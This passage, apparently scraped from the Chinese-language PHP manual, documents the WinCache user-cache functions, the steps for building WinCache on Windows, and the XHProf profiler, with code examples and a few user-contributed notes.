成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Using wincache_ucache_cas()

<?php
wincache_ucache_set('counter', 2922);
var_dump(wincache_ucache_cas('counter', 2922, 1));
var_dump(wincache_ucache_get('counter'));
?>

以上示例会输出：

bool(true)
int(1)

参见

  • wincache_ucache_inc() - Increments the value associated with the key
  • wincache_ucache_dec() - Decrements the value associated with the key

User Contributed Notes

There are no user contributed notes for this page.


Deletes entire content of the user cache

  • ? wincache_ucache_cas
  • wincache_ucache_dec ?
  • PHP Manual
  • WinCache 函数
  • Deletes entire content of the user cache

wincache_ucache_clear

(PECL wincache >= 1.1.0)

wincache_ucache_clear — Deletes entire content of the user cache

说明

wincache_ucache_clear(): bool

Clears/deletes all the values stored in the user cache.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 using wincache_ucache_clear()

<?php
wincache_ucache_set('green', 1);
wincache_ucache_set('red', 2);
wincache_ucache_set('orange', 4);
wincache_ucache_set('blue', 8);
wincache_ucache_set('cyan', 16);
$array1 = array('green', 'red', 'orange', 'blue', 'cyan');
var_dump(wincache_ucache_get($array1));
var_dump(wincache_ucache_clear());
var_dump(wincache_ucache_get($array1));
?>

以上示例会输出：

array(5) { ["green"]=> int(1)
           ["red"]=> int(2)
           ["orange"]=> int(4)
           ["blue"]=> int(8)
           ["cyan"]=> int(16) }
bool(true)
bool(false)

参见

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Decrements the value associated with the key

  • ? wincache_ucache_clear
  • wincache_ucache_delete ?
  • PHP Manual
  • WinCache 函数
  • Decrements the value associated with the key

wincache_ucache_dec

(PECL wincache >= 1.1.0)

wincache_ucache_dec — Decrements the value associated with the key

说明

wincache_ucache_dec(string $key, int $dec_by = 1, bool &$success = ?): mixed

Decrements the value associated with the key by 1 or as specified by dec_by.

参数

key

The key that was used to store the variable in the cache. key is case sensitive.

dec_by

The value by which the variable associated with the key will get decremented. If the argument is a floating point number it will be truncated to nearest integer. The variable associated with the key should be of type long, otherwise the function fails and returns false.

success

Will be set to true on success and false on failure.

返回值

Returns the decremented value on success and false on failure.

示例

Example #1 Using wincache_ucache_dec()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_dec('counter', 2923, $success));
var_dump($success);
?>

以上示例会输出：

int(2922)
bool(true)

参见

  • wincache_ucache_inc() - Increments the value associated with the key
  • wincache_ucache_cas() - Compares the variable with old value and assigns new value to it

User Contributed Notes

There are no user contributed notes for this page.


Deletes variables from the user cache

  • ? wincache_ucache_dec
  • wincache_ucache_exists ?
  • PHP Manual
  • WinCache 函数
  • Deletes variables from the user cache

wincache_ucache_delete

(PECL wincache >= 1.1.0)

wincache_ucache_delete — Deletes variables from the user cache

说明

wincache_ucache_delete(mixed $key): bool

Deletes the elements in the user cache pointed by key.

参数

key

The key that was used to store the variable in the cache. key is case sensitive. key can be an array of keys.

返回值

成功时返回 true， 或者在失败时返回 false。

If key is an array then the function returns false if every element of the array fails to get deleted from the user cache, otherwise returns an array which consists of all the keys that are deleted.

示例

Example #1 Using wincache_ucache_delete() with key as a string

<?php
wincache_ucache_set('foo', 'bar');
var_dump(wincache_ucache_delete('foo'));
var_dump(wincache_ucache_exists('foo'));
?>

以上示例会输出：

bool(true)
bool(false)

Example #2 Usingwincache_ucache_delete() with key as an array

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'blue', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

以上示例会输出：

array(4) { [0]=> string(5) "green"
           [1]=> string(4) "Blue"
           [2]=> string(6) "yellow"
           [3]=> string(4) "cyan" }

Example #3 Using wincache_ucache_delete() with key as an array where some elements cannot be deleted

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('orange', 'red', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

以上示例会输出：

array(2) { [0]=> string(6) "yellow"
           [1]=> string(4) "cyan" }

参见

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Checks if a variable exists in the user cache

  • ? wincache_ucache_delete
  • wincache_ucache_get ?
  • PHP Manual
  • WinCache 函数
  • Checks if a variable exists in the user cache

wincache_ucache_exists

(PECL wincache >= 1.1.0)

wincache_ucache_exists — Checks if a variable exists in the user cache

说明

wincache_ucache_exists(string $key): bool

Checks if a variable with the key exists in the user cache or not.

参数

key

The key that was used to store the variable in the cache. key is case sensitive.

返回值

Returns true if variable with the key exitsts, otherwise returns false.

示例

Example #1 Using wincache_ucache_exists()

<?php
if (!wincache_ucache_exists('green'))
wincache_ucache_set('green', 1);
var_dump(wincache_ucache_exists('green'));
?>

以上示例会输出：

bool(true)

参见

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Gets a variable stored in the user cache

  • ? wincache_ucache_exists
  • wincache_ucache_inc ?
  • PHP Manual
  • WinCache 函数
  • Gets a variable stored in the user cache

wincache_ucache_get

(PECL wincache >= 1.1.0)

wincache_ucache_get — Gets a variable stored in the user cache

说明

wincache_ucache_get(mixed $key, bool &$success = ?): mixed

Gets a variable stored in the user cache.

参数

key

The key that was used to store the variable in the cache. key is case sensitive. key can be an array of keys. In this case the return value will be an array of values of each element in the key array. If an object, or an array containing objects, is returned, then the objects will be unserialized. See __wakeup() for details on unserializing objects.

success

Will be set to true on success and false on failure.

返回值

If key is a string, the function returns the value of the variable stored with that key. The success is set to true on success and to false on failure.

The key is an array, the parameter success is always set to true. The returned array (name => value pairs) will contain only those name => value pairs for which the get operation in user cache was successful. If none of the keys in the key array finds a match in the user cache an empty array will be returned.

示例

Example #1 wincache_ucache_get() with key as a string

<?php
wincache_ucache_add('color', 'blue');
var_dump(wincache_ucache_get('color', $success));
var_dump($success);
?>

以上示例会输出：

string(4) "blue"
bool(true)

Example #2 wincache_ucache_get() with key as an array

<?php
$array1 = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'Blue', 'yellow', 'cyan');
var_dump(wincache_ucache_get($array2, $success));
var_dump($success);
?>

以上示例会输出：

array(4) { ["green"]=> string(1) "5"
           ["Blue"]=> string(1) "6"
           ["yellow"]=> string(1) "7"
           ["cyan"]=> string(1) "8" }
bool(true)

参见

  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __wakeup()

User Contributed Notes

don dot raman at microsoft dot com 09-Mar-2010 11:12
As per documentation PHP 5.2 doesn't support serialization of PHP internal classes. This means code below will not work:

<?php
$d = new DateTime();
$d->format(DateTime::W3C);
wincache_ucache_set( 'q1', $d );
var_dump( wincache_ucache_get( 'q1' )->format(DATE_ATOM));
?>

The output of above code will be (as of PHP5.2.13):
[11-Feb-2010 08:35:29] PHP Warning:  DateTime::format() [<a href='datetime.format'>datetime.format</a>]: The DateTime object has not been correctly initialized by its constructor in C:\inetpub\wwwroot\phptest\tests\ucache\wincache8.php on line 5
And last var_dump will return bool(false).


Increments the value associated with the key

  • ? wincache_ucache_get
  • wincache_ucache_info ?
  • PHP Manual
  • WinCache 函数
  • Increments the value associated with the key

wincache_ucache_inc

(PECL wincache >= 1.1.0)

wincache_ucache_inc — Increments the value associated with the key

说明

wincache_ucache_inc(string $key, int $inc_by = 1, bool &$success = ?): mixed

Increments the value associated with the key by 1 or as specified by inc_by.

参数

key

The key that was used to store the variable in the cache. key is case sensitive.

inc_by

The value by which the variable associated with the key will get incremented. If the argument is a floating point number it will be truncated to nearest integer. The variable associated with the key should be of type long, otherwise the function fails and returns false.

success

Will be set to true on success and false on failure.

返回值

Returns the incremented value on success and false on failure.

示例

Example #1 Using wincache_ucache_inc()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_inc('counter', 2921, $success));
var_dump($success);
?>

以上示例会输出：

int(2922)
bool(true)

参见

  • wincache_ucache_dec() - Decrements the value associated with the key
  • wincache_ucache_cas() - Compares the variable with old value and assigns new value to it

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about data stored in the user cache

  • ? wincache_ucache_inc
  • wincache_ucache_meminfo ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about data stored in the user cache

wincache_ucache_info

(PECL wincache >= 1.1.0)

wincache_ucache_info — Retrieves information about data stored in the user cache

说明

wincache_ucache_info(bool $summaryonly = false, string $key = NULL): array|false

Retrieves information about data stored in the user cache.

参数

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the user cache summary.

key

The key of an entry in the user cache. If specified then the returned array will contain information only about that cache entry. If not specified and summaryonly is set to false then the returned array will contain information about all entries in the cache.

返回值

Array of meta data about user cache 或者在失败时返回 false

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the user cache has been active
  • total_item_count - total number of elements that are currently in the user cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache
  • total_hit_count - number of times the data has been served from the cache
  • total_miss_count - number of times the data has not been found in the cache

  • ucache_entries - an array that contains the information about all the cached items:

    • key_name - name of the key which is used to store the data
    • value_type - type of value stored by the key
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • is_session - indicates if the data is a session variable
    • ttl_seconds - time remaining for the data to live in the cache, 0 meaning infinite
    • age_seconds - time elapsed from the time data has been added in the cache
    • hitcount - number of times data has been served from the cache

示例

Example #1 Using wincache_ucache_info()

<?php
wincache_ucache_get('green');
wincache_ucache_set('green', 2922);
wincache_ucache_get('green');
wincache_ucache_get('green');
wincache_ucache_get('green');
print_r(wincache_ucache_info());
?>

以上示例会输出：

Array
( ["total_cache_uptime"] => int(0)
  ["is_local_cache"] => bool(false)
  ["total_item_count"] => int(1)
  ["total_hit_count"] => int(3)
  ["total_miss_count"] => int(1)
  ["ucache_entries"] => Array(1)
    ( [1] => Array(6)
      (
        ["key_name"] => string(5) "green"
        ["value_type"] => string(4) "long"
        ["is_session"] => int(0)
        ["ttl_seconds"] => int(0)
        ["age_seconds"] => int(0)
        ["hitcount"] => int(3)
       )
    )
)

参见

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 11:53
One thing to note is that 'is_local_cache' field returned as one of the metadata in the array for User Cache will always return boolean false as User Cache is always global and never local.


Retrieves information about user cache memory usage

  • ? wincache_ucache_info
  • wincache_ucache_set ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about user cache memory usage

wincache_ucache_meminfo

(PECL wincache >= 1.1.0)

wincache_ucache_meminfo — Retrieves information about user cache memory usage

说明

wincache_ucache_meminfo(): array|false

Retrieves information about memory usage by user cache.

参数

此函数没有参数。

返回值

Array of meta data about user cache memory usage 或者在失败时返回 false

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the user cache
  • memory_free - amount of free memory in bytes available for the user cache
  • num_used_blks - number of memory blocks used by the user cache
  • num_free_blks - number of free memory blocks available for the user cache
  • memory_overhead - amount of memory in bytes used for the user cache internal structures

示例

Example #1 A wincache_ucache_meminfo() example

<pre>
<?php
print_r(wincache_ucache_meminfo());
?>
</pre>

以上示例会输出：

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Adds a variable in user cache and overwrites a variable if it already exists in the cache

  • ? wincache_ucache_meminfo
  • wincache_unlock ?
  • PHP Manual
  • WinCache 函数
  • Adds a variable in user cache and overwrites a variable if it already exists in the cache

wincache_ucache_set

(PECL wincache >= 1.1.0)

wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache

说明

wincache_ucache_set(mixed $key, mixed $value, int $ttl = 0): bool
wincache_ucache_set(array $values, mixed $unused = NULL, int $ttl = 0): bool

Adds a variable in user cache. Overwrites a variable if it already exists in the cache. The added or updated variable remains in the user cache unless its time to live expires or it is deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

参数

key

Store the variable using this key name. If a variable with same key is already present the function will overwrite the previous value with the new one. key is case sensitive. key can also take array of name => value pairs where names will be used as keys. This can be used to add multiple values in the cache in one operation, thus avoiding race condition.

value

Value of a variable to store. Value supports all data types except resources, such as file handles. This paramter is ignored if first argument is an array. A general guidance is to pass null as value while using array as key. If value is an object, or an array containing objects, then the objects will be serialized. See __sleep() for details on serializing objects.

values

Associative array of keys and values.

ttl

Time for the variable to live in the cache in seconds. After the value specified in ttl has passed the stored variable will be deleted from the cache. This parameter takes a default value of 0 which means the variable will stay in the cache unless explicitly deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

返回值

If key is string, the function returns true on success and false on failure.

If key is an array, the function returns:

  • If all the name => value pairs in the array can be set, function returns an empty array;
  • If all the name => value pairs in the array cannot be set, function returns false;
  • If some can be set while others cannot, function returns an array with name=>value pair for which the addition failed in the user cache.

示例

Example #1 wincache_ucache_set() with key as a string

<?php
$bar = 'BAR';
var_dump(wincache_ucache_set('foo', $bar));
var_dump(wincache_ucache_get('foo'));
$bar1 = 'BAR1';
var_dump(wincache_ucache_set('foo', $bar1));
var_dump(wincache_ucache_get('foo'));
?>

以上示例会输出：

bool(true)
string(3) "BAR"
bool(true)
string(3) "BAR1"

Example #2 wincache_ucache_set() with key as an array

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

以上示例会输出：

array(0) {}
array(0) {}
string(1) "6"

参见

  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __sleep()

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 12:08
As of writing this note (PHP 5.3.1) serialization of closure is not allowed.

This means a code like the one below:

<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
wincache_ucache_set('foo3', $bar3);
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

Will throw exception:
[11-Feb-2010 09:25:33] PHP Fatal error:  Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed' in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php:6
Stack trace:
#0 C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php(6): wincache_ucache_set('foo3', Object(Closure))
#1 {main}
  thrown in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php on line 6

However one catch this exception like:
<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
try
{
    wincache_ucache_set('foo3', $bar3);
}
catch (Exception $e)
{
    var_dump($e->getMessage());
}
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

This will generate output as shown beloe:
string(41) "Serialization of 'Closure' is not allowed" NULL


Releases an exclusive lock on a given key

  • ? wincache_ucache_set
  • Building for Windows ?
  • PHP Manual
  • WinCache 函数
  • Releases an exclusive lock on a given key

wincache_unlock

(PECL wincache >= 1.1.0)

wincache_unlock — Releases an exclusive lock on a given key

说明

wincache_unlock(string $key): bool

Releases an exclusive lock that was obtained on a given key by using wincache_lock(). If any other process was blocked waiting for the lock on this key, that process will be able to obtain the lock.

Warning

Using of the wincache_lock() and wincache_unlock() can cause deadlocks when executing PHP scripts in a multi-process environment like FastCGI. Do not use these functions unless you are absolutely sure you need to use them. For the majority of the operations on the user cache it is not necessary to use these functions.

参数

key

Name of the key in the cache to release the lock on.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Using wincache_unlock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock("lock_txt_lock")) { // do an exclusive lock
ftruncate($fp, 0); // truncate file
fwrite($fp, "Write something here\n");
wincache_unlock("lock_txt_lock"); // release the lock
} else {
echo "Couldn't get the lock!";
}
fclose($fp);
?>

参见

  • wincache_lock() - Acquires an exclusive lock on a given key
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

There are no user contributed notes for this page.


Building for Windows

Table of Contents

  • Prerequisites
  • Compiling and building
  • Verifying the build

User Contributed Notes

There are no user contributed notes for this page.


Prerequisites

Building WinCache extension will require:

  1. PHP source code
  2. PHP build environment
  3. WinCache source code

For completing first two steps, follow the step-by-step guide for how to » build PHP on Windows.

For getting the WinCache source code follow the instructions described in Downloading PECL extensions.

User Contributed Notes

There are no user contributed notes for this page.


Compiling and building

The following steps describe how to compile and build WinCache on Windows OS:

  1. Open a command prompt which is used to build PHP

  2. Go to the root folder where PHP sources are present

  3. Run the command:

    cscript.exe win32\build\buildconf.js

  4. Run the command:

    configure.bat --help
    The output will contain a new flag --enable-wincache.

  5. Run the command:

    configure.js [all options used to build PHP] --enable-wincache
    --enable-wincache is the only extra option which is required to ensure that WinCache extension gets built properly. This option will build WinCache and will statically link it with PHP dll. To build WinCache extension as a stand-alone DLL use the option --enable-wincache=shared.

  6. Run the command:

    nmake

User Contributed Notes

There are no user contributed notes for this page.


Verifying the build

The following steps describe how to verify that WinCache has been built correctly:

  1. Go to the folder where the PHP binaries are built

  2. Run the command:

    php.exe -n -d extension=php_wincache.dll -re wincache
    If WinCache has been built properly, the output of this command will list the INI directives and functions supported by WinCache.

User Contributed Notes

There are no user contributed notes for this page.


层次式性能分析器

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Xhprof 函数
    • xhprof_disable — 停止 xhprof 分析器
    • xhprof_enable — 启动 xhprof 性能分析器
    • xhprof_sample_disable — 停止 xhprof 性能采样分析器
    • xhprof_sample_enable — 以采样模式启动 XHProf 性能分析

User Contributed Notes

Thanh Tung 24-Jul-2020 11:44
This extension is still maintained. It support PHP up to version 7.4. You can find it in the PECL repository: https://pecl.php.net/package/xhprof
patrickallaert at php dot net 02-Apr-2020 06:21
xhprof is still maintained at: https://github.com/patrickallaert/xhprof
troffed 06-Dec-2018 03:52
A profiler based on XHProf but for PHP7+ can be found at https://github.com/tideways/php-xhprof-extension
kisil-mike at ya dot ru 09-Jan-2018 07:35
not developing anymore, just for php up to 5.5. 5.6 or 7+ do not support :(
roland at mxchange dot org 23-Feb-2017 09:27
XHProf is also available on Github (the C/C++ code):
https://github.com/phacility/xhprof


简介

XHProf 是一个轻量级的分层性能测量分析器。 在数据收集阶段，它跟踪调用次数与测量数据，展示程序动态调用的弧线图。 它在报告、后期处理阶段计算了独占的性能度量，例如运行经过的时间、CPU 计算时间和内存开销。 函数性能报告可以由调用者和被调用者终止。 在数据搜集阶段 XHProf 通过调用图的循环来检测递归函数，通过赋予唯一的深度名称来避免递归调用的循环。

XHProf 包含了一个基于 HTML 的简单用户界面(由 PHP 写成)。 基于浏览器的用户界面使得浏览、分享性能数据结果更加简单方便。 同时也支持查看调用图。

XHProf 的报告对理解代码执行结构常常很有帮助。 比如此分层报告可用于确定在哪个调用链里调用了某个函数。

XHProf 对两次运行进行比较（又名 "diff" 报告），或者多次运行数据的合计。 对比、合并报告，很像针对单次运行的"平式视图"性能报告，就像"分层式视图"的性能报告。

更多额外文档可以在 » facebook xhprof 上找到。

User Contributed Notes

There are no user contributed notes for this page.


需求

虽然不是必需的，xhprof 包含了一个用 PHP 写的用户界面。 它是一个用来保存分析后的数据、并用浏览器显示的实用办法。 因此一个启用了 PHP 的 web 服务器将使人更能体验到 xhprof 的用处。

在 » http://github.com/preinheimer/xhprof 也有一个 GUI 的分支。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/xhprof

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Xhprof 配置选项
名字 | 默认 | 可修改范围 | 更新日志
xhprof.output_dir | "" | PHP_INI_ALL |

这是配置指令的简短说明。

xhprof.output_dir string

储存 XHProf 运行数据的默认目录，用于接口 iXHProfRuns(即 XHProfRuns_Default 类)。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

XHPROF_FLAGS_NO_BUILTINS (int)
使得跳过所有内置（内部）函数。
XHPROF_FLAGS_CPU (int)
使输出的性能数据中添加 CPU 数据。
XHPROF_FLAGS_MEMORY (int)
使输出的性能数据中添加内存数据。

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Xhprof 范例，可选使用图形界面

本示例启动并结束性能分析器，然后使用捆绑的用户界面来保存和解析结果。 换言之，扩展的代码在调用 xhprof_disable() 函数后结束。

<?php
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);

for ($i = 0; $i <= 1000; $i++) {
$a = $i * $i;
}

$xhprof_data = xhprof_disable();

$XHPROF_ROOT = "/tools/xhprof/";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_lib.php";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_runs.php";

$xhprof_runs = new XHProfRuns_Default();
$run_id = $xhprof_runs->save_run($xhprof_data, "xhprof_testing");

echo "http://localhost/xhprof/xhprof_html/index.php?run={$run_id}&source=xhprof_testing\n";

?>

以上示例的输出类似于：

http://localhost/xhprof/xhprof_html/index.php?run=t11_4bdf44d21121f&source=xhprof_testing

User Contributed Notes

There are no user contributed notes for this page.


Xhprof 函数

Table of Contents

  • xhprof_disable — 停止 xhprof 分析器
  • xhprof_enable — 启动 xhprof 性能分析器
  • xhprof_sample_disable — 停止 xhprof 性能采样分析器
  • xhprof_sample_enable — 以采样模式启动 XHProf 性能分析

User Contributed Notes

There are no user contributed notes for this page.


停止 xhprof 分析器

  • ? Xhprof 函数
  • xhprof_enable ?
  • PHP Manual
  • Xhprof 函数
  • 停止 xhprof 分析器

xhprof_disable

(PECL xhprof >= 0.9.0)

xhprof_disable — 停止 xhprof 分析器

说明

xhprof_disable(): array

停止性能分析，并返回此次运行的 xhprof 数据。

参数

此函数没有参数。

返回值

本次运行的 array 类型的 xhprof 数据。

示例

Example #1 xhprof_disable() 范例

<?php
xhprof_enable();

$foo = strlen("foo bar");

$xhprof_data = xhprof_disable();

print_r($xhprof_data);
?>

以上示例的输出类似于：

Array
(
    [main()==>strlen] => Array
        (
            [ct] => 1
            [wt] => 279
        )

    [main()==>xhprof_disable] => Array
        (
            [ct] => 1
            [wt] => 9
        )

    [main()] => Array
        (
            [ct] => 1
            [wt] => 610
        )

)

User Contributed Notes

FatBat 17-Oct-2014 04:18
Raw output snippet with, XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY.

[main()] => Array
(
    [ct] => 1                // number of calls.
    [wt] => 419              // wall/wait time (ms).
    [cpu] => 0               // cpu time.
    [mu] => 8264             // memory usage (bytes).
    [pmu] => 0               // peak memory usage.
)


启动 xhprof 性能分析器

  • ? xhprof_disable
  • xhprof_sample_disable ?
  • PHP Manual
  • Xhprof 函数
  • 启动 xhprof 性能分析器

xhprof_enable

(PECL xhprof >= 0.9.0)

xhprof_enable — 启动 xhprof 性能分析器

说明

xhprof_enable(int $flags = 0, array $options = ?): void

启动 xhprof 进行性能分析。

参数

flags

分析添加额外信息的可选标记。 关于此标记的更多信息参见 XHprof 常量，例如， XHPROF_FLAGS_MEMORY 可以开启内存的分析。

options

array 的可选选项，就是通过传递 'ignored_functions' 选项来忽略性能分析中的某些函数。

返回值

null

更新日志

版本 | 说明
PECL xhprof 0.9.2 | 添加可选的 options 参数。

示例

Example #1 xhprof_enable() 示例

<?php
// 1. elapsed time + memory + CPU profiling; and ignore built-in (internal) functions
xhprof_enable(XHPROF_FLAGS_NO_BUILTINS | XHPROF_FLAGS_CPU | XHPROF_FLAGS_MEMORY);

// 2. elapsed time profiling; ignore call_user_func* during profiling
xhprof_enable(
0,
array('ignored_functions' => array('call_user_func',
'call_user_func_array')));

// 3. elapsed time + memory profiling; ignore call_user_func* during profiling
xhprof_enable(
XHPROF_FLAGS_MEMORY,
array('ignored_functions' => array('call_user_func',
'call_user_func_array')));
?>

参见

  • xhprof_disable() - 停止 xhprof 分析器
  • xhprof_sample_enable() - 以采样模式启动 XHProf 性能分析
  • memory_get_usage() - 返回分配给 PHP 的内存量
  • getrusage() - 获取当前资源使用状况

User Contributed Notes

Vladimir Kovpak 08-Nov-2015 10:43
<?php

// You can optionally profile CPU time and/or memory usage:
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);


停止 xhprof 性能采样分析器

  • ? xhprof_enable
  • xhprof_sample_enable ?
  • PHP Manual
  • Xhprof 函数
  • 停止 xhprof 性能采样分析器

xhprof_sample_disable

(PECL xhprof >= 0.9.0)

xhprof_sample_disable — 停止 xhprof 性能采样分析器

说明

xhprof_sample_disable(): array

停止采样模式的 xhprof 分析器。

参数

此函数没有参数。

返回值

本次运行的xhprof采样数据，array 类型。

示例

Example #1 xhprof_sample_disable() 范例

<?php
xhprof_sample_enable();

for ($i = 0; $i <= 10000; $i++) {
$a = strlen($i);
$b = $i * $a;
$c = rand();
}

$xhprof_data = xhprof_sample_disable();

print_r($xhprof_data);
?>

以上示例的输出类似于：

Array
(
    [1272935300.800000] => main()
    [1272935300.900000] => main()
)

User Contributed Notes

There are no user contributed notes for this page.


以采样模式启动 XHProf 性能分析

  • ? xhprof_sample_disable
  • Yac ?
  • PHP Manual
  • Xhprof 函数
  • 以采样模式启动 XHProf 性能分析

xhprof_sample_enable

(PECL xhprof >= 0.9.0)

xhprof_sample_enable — 以采样模式启动 XHProf 性能分析

说明

xhprof_sample_enable(): void

xhprof_enable() 的更轻量的版本，以采样模式开始性能分析。 抽样的间隔为 0.1 秒，样本记录了完整的函数调用堆栈。 主要使用的情况是以较低的性能开销来进行性能监控和诊断。

参数

此函数没有参数。

返回值

null

参见

  • xhprof_sample_disable() - 停止 xhprof 性能采样分析器
  • xhprof_enable() - 启动 xhprof 性能分析器
  • memory_get_usage() - 返回分配给 PHP 的内存量
  • getrusage() - 获取当前资源使用状况

User Contributed Notes

There are no user contributed notes for this page.


Yac

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Yac — The Yac class
